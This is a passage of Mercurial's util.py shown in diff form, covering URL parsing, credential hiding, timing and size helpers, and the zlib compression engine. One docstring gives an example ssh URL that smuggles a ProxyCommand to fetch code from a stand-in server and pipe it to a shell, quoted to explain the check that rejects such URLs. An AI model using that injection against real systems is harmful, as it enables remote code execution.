2603 2629
2604 2630 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2605 2631
2606 2632 Missing components are set to None. The only exception is
2607 2633 fragment, which is set to '' if present but empty.
2608 2634
2609 2635 If parsefragment is False, fragment is included in query. If
2610 2636 parsequery is False, query is included in path. If both are
2611 2637 False, both fragment and query are included in path.
2612 2638
2613 2639 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2614 2640
2615 2641 Note that for backward compatibility reasons, bundle URLs do not
2616 2642 take host names. That means 'bundle://../' has a path of '../'.
2617 2643
2618 2644 Examples:
2619 2645
2620 2646 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2621 2647 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2622 2648 >>> url('ssh://[::1]:2200//home/joe/repo')
2623 2649 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2624 2650 >>> url('file:///home/joe/repo')
2625 2651 <url scheme: 'file', path: '/home/joe/repo'>
2626 2652 >>> url('file:///c:/temp/foo/')
2627 2653 <url scheme: 'file', path: 'c:/temp/foo/'>
2628 2654 >>> url('bundle:foo')
2629 2655 <url scheme: 'bundle', path: 'foo'>
2630 2656 >>> url('bundle://../foo')
2631 2657 <url scheme: 'bundle', path: '../foo'>
2632 2658 >>> url(r'c:\foo\bar')
2633 2659 <url path: 'c:\\foo\\bar'>
2634 2660 >>> url(r'\\blah\blah\blah')
2635 2661 <url path: '\\\\blah\\blah\\blah'>
2636 2662 >>> url(r'\\blah\blah\blah#baz')
2637 2663 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2638 2664 >>> url(r'file:///C:\users\me')
2639 2665 <url scheme: 'file', path: 'C:\\users\\me'>
2640 2666
2641 2667 Authentication credentials:
2642 2668
2643 2669 >>> url('ssh://joe:xyz@x/repo')
2644 2670 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2645 2671 >>> url('ssh://joe@x/repo')
2646 2672 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2647 2673
2648 2674 Query strings and fragments:
2649 2675
2650 2676 >>> url('http://host/a?b#c')
2651 2677 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2652 2678 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2653 2679 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2654 2680
2655 2681 Empty path:
2656 2682
2657 2683 >>> url('')
2658 2684 <url path: ''>
2659 2685 >>> url('#a')
2660 2686 <url path: '', fragment: 'a'>
2661 2687 >>> url('http://host/')
2662 2688 <url scheme: 'http', host: 'host', path: ''>
2663 2689 >>> url('http://host/#a')
2664 2690 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2665 2691
2666 2692 Only scheme:
2667 2693
2668 2694 >>> url('http:')
2669 2695 <url scheme: 'http'>
2670 2696 """
2671 2697
2672 2698 _safechars = "!~*'()+"
2673 2699 _safepchars = "/!~*'()+:\\"
2674 2700 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2675 2701
2676 2702 def __init__(self, path, parsequery=True, parsefragment=True):
2677 2703 # We slowly chomp away at path until we have only the path left
2678 2704 self.scheme = self.user = self.passwd = self.host = None
2679 2705 self.port = self.path = self.query = self.fragment = None
2680 2706 self._localpath = True
2681 2707 self._hostport = ''
2682 2708 self._origpath = path
2683 2709
2684 2710 if parsefragment and '#' in path:
2685 2711 path, self.fragment = path.split('#', 1)
2686 2712
2687 2713 # special case for Windows drive letters and UNC paths
2688 2714 if hasdriveletter(path) or path.startswith('\\\\'):
2689 2715 self.path = path
2690 2716 return
2691 2717
2692 2718 # For compatibility reasons, we can't handle bundle paths as
2693 2719 # normal URLS
2694 2720 if path.startswith('bundle:'):
2695 2721 self.scheme = 'bundle'
2696 2722 path = path[7:]
2697 2723 if path.startswith('//'):
2698 2724 path = path[2:]
2699 2725 self.path = path
2700 2726 return
2701 2727
2702 2728 if self._matchscheme(path):
2703 2729 parts = path.split(':', 1)
2704 2730 if parts[0]:
2705 2731 self.scheme, path = parts
2706 2732 self._localpath = False
2707 2733
2708 2734 if not path:
2709 2735 path = None
2710 2736 if self._localpath:
2711 2737 self.path = ''
2712 2738 return
2713 2739 else:
2714 2740 if self._localpath:
2715 2741 self.path = path
2716 2742 return
2717 2743
2718 2744 if parsequery and '?' in path:
2719 2745 path, self.query = path.split('?', 1)
2720 2746 if not path:
2721 2747 path = None
2722 2748 if not self.query:
2723 2749 self.query = None
2724 2750
2725 2751 # // is required to specify a host/authority
2726 2752 if path and path.startswith('//'):
2727 2753 parts = path[2:].split('/', 1)
2728 2754 if len(parts) > 1:
2729 2755 self.host, path = parts
2730 2756 else:
2731 2757 self.host = parts[0]
2732 2758 path = None
2733 2759 if not self.host:
2734 2760 self.host = None
2735 2761 # path of file:///d is /d
2736 2762 # path of file:///d:/ is d:/, not /d:/
2737 2763 if path and not hasdriveletter(path):
2738 2764 path = '/' + path
2739 2765
2740 2766 if self.host and '@' in self.host:
2741 2767 self.user, self.host = self.host.rsplit('@', 1)
2742 2768 if ':' in self.user:
2743 2769 self.user, self.passwd = self.user.split(':', 1)
2744 2770 if not self.host:
2745 2771 self.host = None
2746 2772
2747 2773 # Don't split on colons in IPv6 addresses without ports
2748 2774 if (self.host and ':' in self.host and
2749 2775 not (self.host.startswith('[') and self.host.endswith(']'))):
2750 2776 self._hostport = self.host
2751 2777 self.host, self.port = self.host.rsplit(':', 1)
2752 2778 if not self.host:
2753 2779 self.host = None
2754 2780
2755 2781 if (self.host and self.scheme == 'file' and
2756 2782 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2757 2783 raise Abort(_('file:// URLs can only refer to localhost'))
2758 2784
2759 2785 self.path = path
2760 2786
2761 2787 # leave the query string escaped
2762 2788 for a in ('user', 'passwd', 'host', 'port',
2763 2789 'path', 'fragment'):
2764 2790 v = getattr(self, a)
2765 2791 if v is not None:
2766 2792 setattr(self, a, urlreq.unquote(v))
2767 2793
2768 2794 def __repr__(self):
2769 2795 attrs = []
2770 2796 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2771 2797 'query', 'fragment'):
2772 2798 v = getattr(self, a)
2773 2799 if v is not None:
2774 2800 attrs.append('%s: %r' % (a, v))
2775 2801 return '<url %s>' % ', '.join(attrs)
2776 2802
2777 2803 def __bytes__(self):
2778 2804 r"""Join the URL's components back into a URL string.
2779 2805
2780 2806 Examples:
2781 2807
2782 2808 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2783 2809 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2784 2810 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2785 2811 'http://user:pw@host:80/?foo=bar&baz=42'
2786 2812 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2787 2813 'http://user:pw@host:80/?foo=bar%3dbaz'
2788 2814 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2789 2815 'ssh://user:pw@[::1]:2200//home/joe#'
2790 2816 >>> str(url('http://localhost:80//'))
2791 2817 'http://localhost:80//'
2792 2818 >>> str(url('http://localhost:80/'))
2793 2819 'http://localhost:80/'
2794 2820 >>> str(url('http://localhost:80'))
2795 2821 'http://localhost:80/'
2796 2822 >>> str(url('bundle:foo'))
2797 2823 'bundle:foo'
2798 2824 >>> str(url('bundle://../foo'))
2799 2825 'bundle:../foo'
2800 2826 >>> str(url('path'))
2801 2827 'path'
2802 2828 >>> str(url('file:///tmp/foo/bar'))
2803 2829 'file:///tmp/foo/bar'
2804 2830 >>> str(url('file:///c:/tmp/foo/bar'))
2805 2831 'file:///c:/tmp/foo/bar'
2806 2832 >>> print url(r'bundle:foo\bar')
2807 2833 bundle:foo\bar
2808 2834 >>> print url(r'file:///D:\data\hg')
2809 2835 file:///D:\data\hg
2810 2836 """
2811 2837 if self._localpath:
2812 2838 s = self.path
2813 2839 if self.scheme == 'bundle':
2814 2840 s = 'bundle:' + s
2815 2841 if self.fragment:
2816 2842 s += '#' + self.fragment
2817 2843 return s
2818 2844
2819 2845 s = self.scheme + ':'
2820 2846 if self.user or self.passwd or self.host:
2821 2847 s += '//'
2822 2848 elif self.scheme and (not self.path or self.path.startswith('/')
2823 2849 or hasdriveletter(self.path)):
2824 2850 s += '//'
2825 2851 if hasdriveletter(self.path):
2826 2852 s += '/'
2827 2853 if self.user:
2828 2854 s += urlreq.quote(self.user, safe=self._safechars)
2829 2855 if self.passwd:
2830 2856 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2831 2857 if self.user or self.passwd:
2832 2858 s += '@'
2833 2859 if self.host:
2834 2860 if not (self.host.startswith('[') and self.host.endswith(']')):
2835 2861 s += urlreq.quote(self.host)
2836 2862 else:
2837 2863 s += self.host
2838 2864 if self.port:
2839 2865 s += ':' + urlreq.quote(self.port)
2840 2866 if self.host:
2841 2867 s += '/'
2842 2868 if self.path:
2843 2869 # TODO: similar to the query string, we should not unescape the
2844 2870 # path when we store it, the path might contain '%2f' = '/',
2845 2871 # which we should *not* escape.
2846 2872 s += urlreq.quote(self.path, safe=self._safepchars)
2847 2873 if self.query:
2848 2874 # we store the query in escaped form.
2849 2875 s += '?' + self.query
2850 2876 if self.fragment is not None:
2851 2877 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2852 2878 return s
2853 2879
2854 2880 __str__ = encoding.strmethod(__bytes__)
2855 2881
2856 2882 def authinfo(self):
2857 2883 user, passwd = self.user, self.passwd
2858 2884 try:
2859 2885 self.user, self.passwd = None, None
2860 2886 s = bytes(self)
2861 2887 finally:
2862 2888 self.user, self.passwd = user, passwd
2863 2889 if not self.user:
2864 2890 return (s, None)
2865 2891 # authinfo[1] is passed to urllib2 password manager, and its
2866 2892 # URIs must not contain credentials. The host is passed in the
2867 2893 # URIs list because Python < 2.4.3 uses only that to search for
2868 2894 # a password.
2869 2895 return (s, (None, (s, self.host),
2870 2896 self.user, self.passwd or ''))
2871 2897
2872 2898 def isabs(self):
2873 2899 if self.scheme and self.scheme != 'file':
2874 2900 return True # remote URL
2875 2901 if hasdriveletter(self.path):
2876 2902 return True # absolute for our purposes - can't be joined()
2877 2903 if self.path.startswith(br'\\'):
2878 2904 return True # Windows UNC path
2879 2905 if self.path.startswith('/'):
2880 2906 return True # POSIX-style
2881 2907 return False
2882 2908
2883 2909 def localpath(self):
2884 2910 if self.scheme == 'file' or self.scheme == 'bundle':
2885 2911 path = self.path or '/'
2886 2912 # For Windows, we need to promote hosts containing drive
2887 2913 # letters to paths with drive letters.
2888 2914 if hasdriveletter(self._hostport):
2889 2915 path = self._hostport + '/' + self.path
2890 2916 elif (self.host is not None and self.path
2891 2917 and not hasdriveletter(path)):
2892 2918 path = '/' + path
2893 2919 return path
2894 2920 return self._origpath
2895 2921
2896 2922 def islocal(self):
2897 2923 '''whether localpath will return something that posixfile can open'''
2898 2924 return (not self.scheme or self.scheme == 'file'
2899 2925 or self.scheme == 'bundle')
2900 2926
2901 2927 def hasscheme(path):
2902 2928 return bool(url(path).scheme)
2903 2929
2904 2930 def hasdriveletter(path):
2905 2931 return path and path[1:2] == ':' and path[0:1].isalpha()
2906 2932
2907 2933 def urllocalpath(path):
2908 2934 return url(path, parsequery=False, parsefragment=False).localpath()
2909 2935
2910 2936 def checksafessh(path):
2911 2937 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2912 2938
2913 2939 This is a sanity check for ssh urls. ssh will parse the first item as
2914 2940 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2915 2941 Let's prevent these potentially exploited urls entirely and warn the
2916 2942 user.
2917 2943
2918 2944 Raises an error.Abort when the url is unsafe.
2919 2945 """
2920 2946 path = urlreq.unquote(path)
2921 2947 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2922 2948 raise error.Abort(_('potentially unsafe url: %r') %
2923 2949 (path,))
2924 2950
2925 2951 def hidepassword(u):
2926 2952 '''hide user credential in a url string'''
2927 2953 u = url(u)
2928 2954 if u.passwd:
2929 2955 u.passwd = '***'
2930 2956 return bytes(u)
2931 2957
2932 2958 def removeauth(u):
2933 2959 '''remove all authentication information from a url string'''
2934 2960 u = url(u)
2935 2961 u.user = u.passwd = None
2936 2962 return str(u)
2937 2963
2938 2964 timecount = unitcountfn(
2939 2965 (1, 1e3, _('%.0f s')),
2940 2966 (100, 1, _('%.1f s')),
2941 2967 (10, 1, _('%.2f s')),
2942 2968 (1, 1, _('%.3f s')),
2943 2969 (100, 0.001, _('%.1f ms')),
2944 2970 (10, 0.001, _('%.2f ms')),
2945 2971 (1, 0.001, _('%.3f ms')),
2946 2972 (100, 0.000001, _('%.1f us')),
2947 2973 (10, 0.000001, _('%.2f us')),
2948 2974 (1, 0.000001, _('%.3f us')),
2949 2975 (100, 0.000000001, _('%.1f ns')),
2950 2976 (10, 0.000000001, _('%.2f ns')),
2951 2977 (1, 0.000000001, _('%.3f ns')),
2952 2978 )
2953 2979
2954 2980 _timenesting = [0]
2955 2981
2956 2982 def timed(func):
2957 2983 '''Report the execution time of a function call to stderr.
2958 2984
2959 2985 During development, use as a decorator when you need to measure
2960 2986 the cost of a function, e.g. as follows:
2961 2987
2962 2988 @util.timed
2963 2989 def foo(a, b, c):
2964 2990 pass
2965 2991 '''
2966 2992
2967 2993 def wrapper(*args, **kwargs):
2968 2994 start = timer()
2969 2995 indent = 2
2970 2996 _timenesting[0] += indent
2971 2997 try:
2972 2998 return func(*args, **kwargs)
2973 2999 finally:
2974 3000 elapsed = timer() - start
2975 3001 _timenesting[0] -= indent
2976 3002 stderr.write('%s%s: %s\n' %
2977 3003 (' ' * _timenesting[0], func.__name__,
2978 3004 timecount(elapsed)))
2979 3005 return wrapper
2980 3006
2981 3007 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2982 3008 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2983 3009
2984 3010 def sizetoint(s):
2985 3011 '''Convert a space specifier to a byte count.
2986 3012
2987 3013 >>> sizetoint('30')
2988 3014 30
2989 3015 >>> sizetoint('2.2kb')
2990 3016 2252
2991 3017 >>> sizetoint('6M')
2992 3018 6291456
2993 3019 '''
2994 3020 t = s.strip().lower()
2995 3021 try:
2996 3022 for k, u in _sizeunits:
2997 3023 if t.endswith(k):
2998 3024 return int(float(t[:-len(k)]) * u)
2999 3025 return int(t)
3000 3026 except ValueError:
3001 3027 raise error.ParseError(_("couldn't parse size: %s") % s)
3002 3028
3003 3029 class hooks(object):
3004 3030 '''A collection of hook functions that can be used to extend a
3005 3031 function's behavior. Hooks are called in lexicographic order,
3006 3032 based on the names of their sources.'''
3007 3033
3008 3034 def __init__(self):
3009 3035 self._hooks = []
3010 3036
3011 3037 def add(self, source, hook):
3012 3038 self._hooks.append((source, hook))
3013 3039
3014 3040 def __call__(self, *args):
3015 3041 self._hooks.sort(key=lambda x: x[0])
3016 3042 results = []
3017 3043 for source, hook in self._hooks:
3018 3044 results.append(hook(*args))
3019 3045 return results
3020 3046
3021 3047 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3022 3048 '''Yields lines for a nicely formatted stacktrace.
3023 3049 Skips the 'skip' last entries, then return the last 'depth' entries.
3024 3050 Each file+linenumber is formatted according to fileline.
3025 3051 Each line is formatted according to line.
3026 3052 If line is None, it yields:
3027 3053 length of longest filepath+line number,
3028 3054 filepath+linenumber,
3029 3055 function
3030 3056
3031 3057 Not be used in production code but very convenient while developing.
3032 3058 '''
3033 3059 entries = [(fileline % (fn, ln), func)
3034 3060 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3035 3061 ][-depth:]
3036 3062 if entries:
3037 3063 fnmax = max(len(entry[0]) for entry in entries)
3038 3064 for fnln, func in entries:
3039 3065 if line is None:
3040 3066 yield (fnmax, fnln, func)
3041 3067 else:
3042 3068 yield line % (fnmax, fnln, func)
3043 3069
3044 3070 def debugstacktrace(msg='stacktrace', skip=0,
3045 3071 f=stderr, otherf=stdout, depth=0):
3046 3072 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3047 3073 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3048 3074 By default it will flush stdout first.
3049 3075 It can be used everywhere and intentionally does not require an ui object.
3050 3076 Not be used in production code but very convenient while developing.
3051 3077 '''
3052 3078 if otherf:
3053 3079 otherf.flush()
3054 3080 f.write('%s at:\n' % msg.rstrip())
3055 3081 for line in getstackframes(skip + 1, depth=depth):
3056 3082 f.write(line)
3057 3083 f.flush()
3058 3084
3059 3085 class dirs(object):
3060 3086 '''a multiset of directory names from a dirstate or manifest'''
3061 3087
3062 3088 def __init__(self, map, skip=None):
3063 3089 self._dirs = {}
3064 3090 addpath = self.addpath
3065 3091 if safehasattr(map, 'iteritems') and skip is not None:
3066 3092 for f, s in map.iteritems():
3067 3093 if s[0] != skip:
3068 3094 addpath(f)
3069 3095 else:
3070 3096 for f in map:
3071 3097 addpath(f)
3072 3098
3073 3099 def addpath(self, path):
3074 3100 dirs = self._dirs
3075 3101 for base in finddirs(path):
3076 3102 if base in dirs:
3077 3103 dirs[base] += 1
3078 3104 return
3079 3105 dirs[base] = 1
3080 3106
3081 3107 def delpath(self, path):
3082 3108 dirs = self._dirs
3083 3109 for base in finddirs(path):
3084 3110 if dirs[base] > 1:
3085 3111 dirs[base] -= 1
3086 3112 return
3087 3113 del dirs[base]
3088 3114
3089 3115 def __iter__(self):
3090 3116 return iter(self._dirs)
3091 3117
3092 3118 def __contains__(self, d):
3093 3119 return d in self._dirs
3094 3120
3095 3121 if safehasattr(parsers, 'dirs'):
3096 3122 dirs = parsers.dirs
3097 3123
3098 3124 def finddirs(path):
3099 3125 pos = path.rfind('/')
3100 3126 while pos != -1:
3101 3127 yield path[:pos]
3102 3128 pos = path.rfind('/', 0, pos)
3103 3129
3104 3130 # compression code
3105 3131
3106 3132 SERVERROLE = 'server'
3107 3133 CLIENTROLE = 'client'
3108 3134
3109 3135 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3110 3136 (u'name', u'serverpriority',
3111 3137 u'clientpriority'))
3112 3138
3113 3139 class compressormanager(object):
3114 3140 """Holds registrations of various compression engines.
3115 3141
3116 3142 This class essentially abstracts the differences between compression
3117 3143 engines to allow new compression formats to be added easily, possibly from
3118 3144 extensions.
3119 3145
3120 3146 Compressors are registered against the global instance by calling its
3121 3147 ``register()`` method.
3122 3148 """
3123 3149 def __init__(self):
3124 3150 self._engines = {}
3125 3151 # Bundle spec human name to engine name.
3126 3152 self._bundlenames = {}
3127 3153 # Internal bundle identifier to engine name.
3128 3154 self._bundletypes = {}
3129 3155 # Revlog header to engine name.
3130 3156 self._revlogheaders = {}
3131 3157 # Wire proto identifier to engine name.
3132 3158 self._wiretypes = {}
3133 3159
3134 3160 def __getitem__(self, key):
3135 3161 return self._engines[key]
3136 3162
3137 3163 def __contains__(self, key):
3138 3164 return key in self._engines
3139 3165
3140 3166 def __iter__(self):
3141 3167 return iter(self._engines.keys())
3142 3168
3143 3169 def register(self, engine):
3144 3170 """Register a compression engine with the manager.
3145 3171
3146 3172 The argument must be a ``compressionengine`` instance.
3147 3173 """
3148 3174 if not isinstance(engine, compressionengine):
3149 3175 raise ValueError(_('argument must be a compressionengine'))
3150 3176
3151 3177 name = engine.name()
3152 3178
3153 3179 if name in self._engines:
3154 3180 raise error.Abort(_('compression engine %s already registered') %
3155 3181 name)
3156 3182
3157 3183 bundleinfo = engine.bundletype()
3158 3184 if bundleinfo:
3159 3185 bundlename, bundletype = bundleinfo
3160 3186
3161 3187 if bundlename in self._bundlenames:
3162 3188 raise error.Abort(_('bundle name %s already registered') %
3163 3189 bundlename)
3164 3190 if bundletype in self._bundletypes:
3165 3191 raise error.Abort(_('bundle type %s already registered by %s') %
3166 3192 (bundletype, self._bundletypes[bundletype]))
3167 3193
3168 3194 # No external facing name declared.
3169 3195 if bundlename:
3170 3196 self._bundlenames[bundlename] = name
3171 3197
3172 3198 self._bundletypes[bundletype] = name
3173 3199
3174 3200 wiresupport = engine.wireprotosupport()
3175 3201 if wiresupport:
3176 3202 wiretype = wiresupport.name
3177 3203 if wiretype in self._wiretypes:
3178 3204 raise error.Abort(_('wire protocol compression %s already '
3179 3205 'registered by %s') %
3180 3206 (wiretype, self._wiretypes[wiretype]))
3181 3207
3182 3208 self._wiretypes[wiretype] = name
3183 3209
3184 3210 revlogheader = engine.revlogheader()
3185 3211 if revlogheader and revlogheader in self._revlogheaders:
3186 3212 raise error.Abort(_('revlog header %s already registered by %s') %
3187 3213 (revlogheader, self._revlogheaders[revlogheader]))
3188 3214
3189 3215 if revlogheader:
3190 3216 self._revlogheaders[revlogheader] = name
3191 3217
3192 3218 self._engines[name] = engine
3193 3219
3194 3220 @property
3195 3221 def supportedbundlenames(self):
3196 3222 return set(self._bundlenames.keys())
3197 3223
3198 3224 @property
3199 3225 def supportedbundletypes(self):
3200 3226 return set(self._bundletypes.keys())
3201 3227
3202 3228 def forbundlename(self, bundlename):
3203 3229 """Obtain a compression engine registered to a bundle name.
3204 3230
3205 3231 Will raise KeyError if the bundle type isn't registered.
3206 3232
3207 3233 Will abort if the engine is known but not available.
3208 3234 """
3209 3235 engine = self._engines[self._bundlenames[bundlename]]
3210 3236 if not engine.available():
3211 3237 raise error.Abort(_('compression engine %s could not be loaded') %
3212 3238 engine.name())
3213 3239 return engine
3214 3240
3215 3241 def forbundletype(self, bundletype):
3216 3242 """Obtain a compression engine registered to a bundle type.
3217 3243
3218 3244 Will raise KeyError if the bundle type isn't registered.
3219 3245
3220 3246 Will abort if the engine is known but not available.
3221 3247 """
3222 3248 engine = self._engines[self._bundletypes[bundletype]]
3223 3249 if not engine.available():
3224 3250 raise error.Abort(_('compression engine %s could not be loaded') %
3225 3251 engine.name())
3226 3252 return engine
3227 3253
3228 3254 def supportedwireengines(self, role, onlyavailable=True):
3229 3255 """Obtain compression engines that support the wire protocol.
3230 3256
3231 3257 Returns a list of engines in prioritized order, most desired first.
3232 3258
3233 3259 If ``onlyavailable`` is set, filter out engines that can't be
3234 3260 loaded.
3235 3261 """
3236 3262 assert role in (SERVERROLE, CLIENTROLE)
3237 3263
3238 3264 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3239 3265
3240 3266 engines = [self._engines[e] for e in self._wiretypes.values()]
3241 3267 if onlyavailable:
3242 3268 engines = [e for e in engines if e.available()]
3243 3269
3244 3270 def getkey(e):
3245 3271 # Sort first by priority, highest first. In case of tie, sort
3246 3272 # alphabetically. This is arbitrary, but ensures output is
3247 3273 # stable.
3248 3274 w = e.wireprotosupport()
3249 3275 return -1 * getattr(w, attr), w.name
3250 3276
3251 3277 return list(sorted(engines, key=getkey))
3252 3278
3253 3279 def forwiretype(self, wiretype):
3254 3280 engine = self._engines[self._wiretypes[wiretype]]
3255 3281 if not engine.available():
3256 3282 raise error.Abort(_('compression engine %s could not be loaded') %
3257 3283 engine.name())
3258 3284 return engine
3259 3285
3260 3286 def forrevlogheader(self, header):
3261 3287 """Obtain a compression engine registered to a revlog header.
3262 3288
3263 3289 Will raise KeyError if the revlog header value isn't registered.
3264 3290 """
3265 3291 return self._engines[self._revlogheaders[header]]
3266 3292
3267 3293 compengines = compressormanager()
3268 3294
3269 3295 class compressionengine(object):
3270 3296 """Base class for compression engines.
3271 3297
3272 3298 Compression engines must implement the interface defined by this class.
3273 3299 """
3274 3300 def name(self):
3275 3301 """Returns the name of the compression engine.
3276 3302
3277 3303 This is the key the engine is registered under.
3278 3304
3279 3305 This method must be implemented.
3280 3306 """
3281 3307 raise NotImplementedError()
3282 3308
3283 3309 def available(self):
3284 3310 """Whether the compression engine is available.
3285 3311
3286 3312 The intent of this method is to allow optional compression engines
3287 3313 that may not be available in all installations (such as engines relying
3288 3314 on C extensions that may not be present).
3289 3315 """
3290 3316 return True
3291 3317
3292 3318 def bundletype(self):
3293 3319 """Describes bundle identifiers for this engine.
3294 3320
3295 3321 If this compression engine isn't supported for bundles, returns None.
3296 3322
3297 3323 If this engine can be used for bundles, returns a 2-tuple of strings of
3298 3324 the user-facing "bundle spec" compression name and an internal
3299 3325 identifier used to denote the compression format within bundles. To
3300 3326 exclude the name from external usage, set the first element to ``None``.
3301 3327
3302 3328 If bundle compression is supported, the class must also implement
3303 3329 ``compressstream`` and `decompressorreader``.
3304 3330
3305 3331 The docstring of this method is used in the help system to tell users
3306 3332 about this engine.
3307 3333 """
3308 3334 return None
3309 3335
3310 3336 def wireprotosupport(self):
3311 3337 """Declare support for this compression format on the wire protocol.
3312 3338
3313 3339 If this compression engine isn't supported for compressing wire
3314 3340 protocol payloads, returns None.
3315 3341
3316 3342 Otherwise, returns ``compenginewireprotosupport`` with the following
3317 3343 fields:
3318 3344
3319 3345 * String format identifier
3320 3346 * Integer priority for the server
3321 3347 * Integer priority for the client
3322 3348
3323 3349 The integer priorities are used to order the advertisement of format
3324 3350 support by server and client. The highest integer is advertised
3325 3351 first. Integers with non-positive values aren't advertised.
3326 3352
3327 3353 The priority values are somewhat arbitrary and only used for default
3328 3354 ordering. The relative order can be changed via config options.
3329 3355
3330 3356 If wire protocol compression is supported, the class must also implement
3331 3357 ``compressstream`` and ``decompressorreader``.
3332 3358 """
3333 3359 return None
3334 3360
3335 3361 def revlogheader(self):
3336 3362 """Header added to revlog chunks that identifies this engine.
3337 3363
3338 3364 If this engine can be used to compress revlogs, this method should
3339 3365 return the bytes used to identify chunks compressed with this engine.
3340 3366 Else, the method should return ``None`` to indicate it does not
3341 3367 participate in revlog compression.
3342 3368 """
3343 3369 return None
3344 3370
3345 3371 def compressstream(self, it, opts=None):
3346 3372 """Compress an iterator of chunks.
3347 3373
3348 3374 The method receives an iterator (ideally a generator) of chunks of
3349 3375 bytes to be compressed. It returns an iterator (ideally a generator)
3350 3376 of bytes of chunks representing the compressed output.
3351 3377
3352 3378 Optionally accepts an argument defining how to perform compression.
3353 3379 Each engine treats this argument differently.
3354 3380 """
3355 3381 raise NotImplementedError()
3356 3382
3357 3383 def decompressorreader(self, fh):
3358 3384 """Perform decompression on a file object.
3359 3385
3360 3386 Argument is an object with a ``read(size)`` method that returns
3361 3387 compressed data. Return value is an object with a ``read(size)`` that
3362 3388 returns uncompressed data.
3363 3389 """
3364 3390 raise NotImplementedError()
3365 3391
3366 3392 def revlogcompressor(self, opts=None):
3367 3393 """Obtain an object that can be used to compress revlog entries.
3368 3394
3369 3395 The object has a ``compress(data)`` method that compresses binary
3370 3396 data. This method returns compressed binary data or ``None`` if
3371 3397 the data could not be compressed (too small, not compressible, etc).
3372 3398 The returned data should have a header uniquely identifying this
3373 3399 compression format so decompression can be routed to this engine.
3374 3400 This header should be identified by the ``revlogheader()`` return
3375 3401 value.
3376 3402
3377 3403 The object has a ``decompress(data)`` method that decompresses
3378 3404 data. The method will only be called if ``data`` begins with
3379 3405 ``revlogheader()``. The method should return the raw, uncompressed
3380 3406 data or raise a ``RevlogError``.
3381 3407
3382 3408 The object is reusable but is not thread safe.
3383 3409 """
3384 3410 raise NotImplementedError()
3385 3411
3386 3412 class _zlibengine(compressionengine):
3387 3413 def name(self):
3388 3414 return 'zlib'
3389 3415
3390 3416 def bundletype(self):
3391 3417 """zlib compression using the DEFLATE algorithm.
3392 3418
3393 3419 All Mercurial clients should support this format. The compression
3394 3420 algorithm strikes a reasonable balance between compression ratio
3395 3421 and size.
3396 3422 """
3397 3423 return 'gzip', 'GZ'
3398 3424
3399 3425 def wireprotosupport(self):
3400 3426 return compewireprotosupport('zlib', 20, 20)
3401 3427
3402 3428 def revlogheader(self):
3403 3429 return 'x'
3404 3430
3405 3431 def compressstream(self, it, opts=None):
3406 3432 opts = opts or {}
3407 3433
3408 3434 z = zlib.compressobj(opts.get('level', -1))
3409 3435 for chunk in it:
3410 3436 data = z.compress(chunk)
3411 3437 # Not all calls to compress emit data. It is cheaper to inspect
3412 3438 # here than to feed empty chunks through generator.
3413 3439 if data:
3414 3440 yield data
3415 3441
3416 3442 yield z.flush()
3417 3443
3418 3444 def decompressorreader(self, fh):
3419 3445 def gen():
3420 3446 d = zlib.decompressobj()
3421 3447 for chunk in filechunkiter(fh):
3422 3448 while chunk:
3423 3449 # Limit output size to limit memory.
3424 3450 yield d.decompress(chunk, 2 ** 18)
3425 3451 chunk = d.unconsumed_tail
3426 3452
3427 3453 return chunkbuffer(gen())
3428 3454
3429 3455 class zlibrevlogcompressor(object):
3430 3456 def compress(self, data):
3431 3457 insize = len(data)
3432 3458 # Caller handles empty input case.
3433 3459 assert insize > 0
3434 3460
3435 3461 if insize < 44:
3436 3462 return None
3437 3463
3438 3464 elif insize <= 1000000:
3439 3465 compressed = zlib.compress(data)
3440 3466 if len(compressed) < insize:
3441 3467 return compressed
3442 3468 return None
3443 3469
3444 3470 # zlib makes an internal copy of the input buffer, doubling
3445 3471 # memory usage for large inputs. So do streaming compression
3446 3472 # on large inputs.
3447 3473 else:
3448 3474 z = zlib.compressobj()
3449 3475 parts = []
3450 3476 pos = 0
3451 3477 while pos < insize:
3452 3478 pos2 = pos + 2**20
3453 3479 parts.append(z.compress(data[pos:pos2]))
3454 3480 pos = pos2
3455 3481 parts.append(z.flush())
3456 3482
3457 3483 if sum(map(len, parts)) < insize:
3458 3484 return ''.join(parts)
3459 3485 return None
3460 3486
3461 3487 def decompress(self, data):
3462 3488 try:
3463 3489 return zlib.decompress(data)
3464 3490 except zlib.error as e:
3465 3491 raise error.RevlogError(_('revlog decompress error: %s') %
3466 3492 str(e))
3467 3493
3468 3494 def revlogcompressor(self, opts=None):
3469 3495 return self.zlibrevlogcompressor()
3470 3496
